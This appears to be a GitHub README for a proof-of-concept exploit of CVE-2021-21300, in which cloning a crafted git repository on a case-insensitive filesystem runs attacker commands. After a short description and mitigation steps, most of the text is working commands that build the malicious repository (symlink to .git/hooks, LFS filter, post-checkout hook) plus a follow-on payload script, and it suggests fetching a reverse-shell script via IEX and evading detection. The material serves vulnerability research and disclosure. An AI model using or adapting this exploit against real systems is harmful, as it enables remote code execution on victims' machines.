fengzhouc/cve-2021-21300Proof-of-concept exploit for CVE-2021-21300, demonstrating remote code execution via malicious git repository cloning with symlink and filter abuse on case-insensitive filesystems.
In multiple versions of git, the handling of symbolic links is not strict. After uploading files to git on a case-sensitive file system (e.g., Linux), cloning a malicious repository on a host using a case-insensitive file system (e.g., Windows) may lead to remote command execution.
From 2.15 to the current 2.30.1
1、Upgrade the version
2、As follows
Disable git's symlink: git config --global core.symlinks false
Disable process filter (usually used by LFS). You can check via git config --show-scope --get-regexp 'filter..*.process'
1、There exist a symbolic link and a directory with the same name in the repository
2、The symbolic link points to a special directory (currently seems to be .git/hooks)
3、The victim machine needs sufficient permissions to execute malicious commands
System: ubuntux64
Need to install git, git-lfs
Executing the git lfs install command may report an error
Error: Failed to call git rev-parse --git-dir: exit status 128
Can be ignored
When "Git LFS initialized." appears, the installation is complete.
System: win10x64
git for windows: Git-2.17.1-64-bit
（https://www.npackd.org/p/git64/2.17.1.2）
The installation of git for windows can be all default.
There are many tutorials online, so I won't go into detail.
Execute the following commands:
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自己的仓库地址]
$ git push -u origin main
Execute the following command in PowerShell (Administrator) on Windows 10:
git clone -c core.symlinks=true [自己的仓库地址]
After cloning, if "PWNED" appears, remote command execution is successful.
It can be seen that during cloning, the command in the post-checkout file was executed.
The idea is to use IEX to download a script, then obtain a shell through Kali listening, but most scripts will be detected and blocked. It should be possible to bypass by using evasion techniques.
Add a script file hack.sh in the directory
Content as follows:
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"
Modify the command executed in post-checkout to execute the script
printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout